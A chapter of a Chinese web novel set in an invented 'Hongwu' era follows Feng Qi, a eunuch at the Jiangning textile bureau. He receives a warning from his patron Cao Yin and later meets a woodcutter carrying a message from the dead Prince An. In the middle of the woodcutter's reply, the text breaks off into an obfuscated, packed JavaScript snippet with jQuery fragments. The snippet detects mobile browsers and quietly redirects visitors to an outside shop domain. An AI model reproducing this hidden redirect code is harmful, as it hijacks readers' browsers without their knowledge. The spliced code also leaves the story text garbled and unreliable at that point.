冯七在江宁织造署的日子，就这样一天一天地过着。说不上好，也说不上坏。吃食比从前好了一些，住处也宽敞了一些，曹寅对他客气，同僚们对他也不算差。但冯七总觉得，自己像是在水里漂着，漂到哪儿算哪儿，没有根，没有锚，没有可以停靠的岸。
他不止一次地想过，如果他只是一个普通人，一个普通的、没有穿越过的、土生土长的明朝太监，他会不会比现在更快乐？答案是：不会。因为即使没有那些来自另一个世界的记忆，他依然是冯七，是冯家的后人，是苏公公托付了秘密的人，是赵珩信任过的人。这些身份，每一个都是一条锁链，把他锁在这个时代，锁在这座织造署里，锁在那间堆满了书卷的书房中。
洪武五年春天，曹寅奉旨进京述职，一去就是三个月。走之前他把织造署的事务交代给了手下的人，临走时特意把冯七叫到书房，嘱咐了几句话。
“冯七，我不在的时候，书房里的书你替我看着。别让人乱翻，也别让人弄坏了。”
“是。”
“还有，”曹寅看着他，目光里有一种说不清的东西，“你自己的身体，你也替我看好了。别累着，别病着，别死了。”
冯七跪下来，给曹寅磕了一个头。
“大人放心，小的不死。”
曹寅笑了一下，转身走了。冯七看着他的背影消失在门口，忽然觉得这个人和赵珩有点像。不是说长相，不是说气质，而是——他们都把冯七当人看。在这个人分九等的时代里，被人当人看，是一种奢侈。
曹寅不在的日子，织造署安静了许多。冯七每天还是照常去书房，研墨，铺纸，整理书卷。没有人来用这些东西，但他还是每天准备着。这是他的执念，也是他的活法。小顺子有时候来书房找他，给他带些厨房新做的点心。小顺子在厨房干了一年多，手艺学了不少，做的枣泥酥尤其好吃。冯七吃着枣泥酥，和小顺子有一搭没一搭地说话，觉得日子也没那么难熬。
“冯七哥，”小顺子有一天忽然问他，“你想过以后吗？”
“什么以后？”
“就是……你打算一辈子待在织造署吗？就没想过出去看看？江南那么大，天下那么大，你就不想出去走走？”
冯七放下手里的枣泥酥，看着小顺子。小顺子比以前胖了些，脸上有了些血色，笑起来的时候眼睛弯弯的，和小时候在浣衣局里一模一样。但他的眼睛里多了一些东西，是一些以前没有的、说不清道不明的东西。
“你想出去？”冯七问。
小顺子犹豫了一下，点了点头。
“我想回山东看看。”他的声音低了下去，“我想看看我家门口那条河还在不在，桥头那棵大槐树还在不在。我想给我爹娘上柱香。”
冯七沉默了很久。山东。济南府。那条河，那座桥，那棵大槐树。槐花开的时候，满树都是白的，风一吹，花瓣就落进河里，跟着水流走。小顺子说过很多次，每次说的时候眼睛都亮晶晶的，像是在说一个永远做不完的梦。
“小顺子，”冯七说，“你要是想回去，就回去吧。别让自己后悔。”
小顺子看着他，眼眶有些红。
“冯七哥，你呢？你就不想回去看看吗？”
冯七摇了摇头。他没有告诉小顺子，他的家在另一个世界，一个永远回不去的地方。那里也有河，也有树，也有春天飘满天空的柳絮。但那些东西，隔了五百年的时光，隔了一个世界的距离，再也够不着了。
洪武五年六月，曹寅从京城回来了。他带回来一个消息：新皇赵崇安——不，现在应该叫启太祖——要对江南的织造业进行大整顿。所有的织造局要重新登记造册，所有的工匠要重新考核，所有的账目要重新审计。这是一件大事，大到整个江南织造业都要震动。
曹寅回来之后，整个人瘦了一圈，眼下的青黑比走之前更深了。他回来后第一件事不是休息，而是去了书房。他坐在书案后面，看着满架的书卷，沉默了很久。冯七端了茶进去，放在他手边。
“大人，喝茶。”
曹寅端起茶杯，握在手心里，没有喝。
“冯七，你知道我在京城见到了谁吗？”
“小的不知。”
“康王。”曹寅的声音很低，低得像是在自言自语，“现在应该叫靖亲王了。他如今是朝中最得势的人，一人之下，万人之上。他问起了你。”
冯七的心跳漏了一拍。
“问我？”
“问你。”曹寅放下茶杯，看着冯七的眼睛，“他问我，‘你府上是不是有一个叫冯七的小太监？’我说是。他说，‘替我看着他，别让他死了。’”
冯七站在那里，后背的冷汗已经把衣服浸湿了。康王还记得他。康王还记得他是冯家的后人，还记得他手里可能还攥着别的秘密。康王让曹寅看着他，不是保护，是监视。曹寅是康王的人吗？他不知道。但他知道，从这一刻起，他的处境比之前更危险了。
“大人，”冯七的声音有些发涩，“康王还说了别的吗？”
曹寅摇了摇头。
“就这一句。但这一句就够了。冯七，你告诉我——你和康王之间，到底有什么瓜葛？”
冯七沉默了很久。他不知道该不该告诉曹寅。曹寅是康王的人，也可能是康王的眼线。如果他说了，康王就会知道他知道多少；如果他不说，曹寅可能会对他起疑。
他选择了不说。
“大人，小的只是一个太监，哪敢和亲王有什么瓜葛。康王殿下可能是记错了人。”
曹寅看着他，目光里有什么东西在闪动。那目光里有审视，有怀疑，也有一种冯七说不清的东西——是同情吗？还是别的什么？
“你不说，我不勉强。”曹寅靠在椅背上，闭上了眼睛，“但你记住，不管你和康王之间有什么事，在织造署里，你就是我的人。只要我还在一天，就没人能动你。”
冯七跪下来，给曹寅磕了一个头。
“谢大人。”
洪武五年八月，冯七在街上偶然遇到了一个人。那个人穿着粗布衣裳，挑着一担柴，在街边歇脚。他的脸被太阳晒得黝黑，手上全是老茧，看起来像个普通的樵夫。但冯七认出了他的眼睛。那双眼睛很亮，很沉，像藏了很多东西。是那个在告示前面拦住他的陌生人。
冯七走过去，站在他面前。
“你是谁？”
樵夫抬起头，看着他，嘴角微微动了一下。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680435|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你不认识我，但我认识你。”他的声音很低，低到只有冯七能听见，“我是安王殿下的人。”
冯七的手猛地攥紧了。
“殿下的人？”
“殿下在京城的时候，我替他做过一些事。后来殿下死了，我就回了江南，靠打柴为生。”樵夫顿了顿，“我找了你很久。殿下临死前，让我给你带一句话。”
冯七站在那里，感觉自己的心跳快得像擂鼓。
“什么话？”
“殿下说：‘冯七，你把那张纸打开了吗？’”
冯七愣了一下。他打开了。在顾文昭告诉他赵珩死讯的那天晚上，他就打开了。纸上写着赵珩的决定，写着那些他永远不会忘记的话。
“你告诉殿下，”冯七的声音有些发抖，“奴才打开了。奴才记住了。奴才不会忘。”
樵夫看着他，点了点头。他挑起柴担，站起来，转身要走。
“等等，”冯七叫住了他，“你叫什么名字？”
樵夫没有回头。
“名字不重要。重要的是，这个世上还有人记得安王殿下。这就够了。”
他走了。冯七站在原地，看着他的背影消失在人群中。他忽然觉得，这个世上的人，就像河水里的沙，被水流冲着，冲到哪里算哪里。但有些沙会沉在河底，一动不动，不管水流多急，都冲不走。那些沙，是那些死了但还被人记住的人。
赵珩是那些沙。苏公公是。冯六是。周公公是。
他也是。
洪武五年冬天，南京下了一场大雪。雪很大，大到冯七来南京之后从没见过。一夜之间，整座城都变成了白的。屋顶是白的，街道是白的，连空气都像是白的。冯七站在织造署的院子里，看着那些雪，忽然想起了京城的雪。京城的雪是干的，粉的，落在地上被风一吹就散了。南京的雪是湿的，沉的，落在地上不走。
他站在雪地里，站了很久，站到脚都冻麻了，站到小顺子跑出来拉他回去。
“冯七哥，你不要命了？这么冷的天站外面，会冻死的。”
冯七任由小顺子拉着他回到屋里，在炉子旁边坐下来。小顺子给他倒了一杯热茶，他捧在手心里，慢慢地喝着。茶是热的，从喉咙一路暖到胃里，但他的手还是凉的，脚也是凉的，心也是凉的。有些东西，再热的茶也暖不过来。
那天晚上，冯七在笔记上写道：
“洪武五年，冬，大雪。”
“曹大人从京城回来，说康王问起了奴才。”
“康王还记得奴才。这不是好事。”
“但曹大人说：‘只要我还在一天，就没人能动你。’”
“奴才不知曹大人这话能信几分。但奴才愿意信。”
“这世上，愿意信一个人，比不愿意信，要好过一些。”
他写完之后，看着那些字。墨迹还没干，在纸上泛着湿润的光泽。那些字像一双双眼睛，看着他，问他：你还信吗？信。他在心里说。不信，活着还有什么意思？
他把笔记藏好，吹灭了灯，躺在床上。黑暗中，他摸着脖子上的玉扳指和铜钱，摸着枕头底下的那支笔。三样东西贴在一起，温热的，像是在告诉他——你还活着。活着就好。活着就还有希望。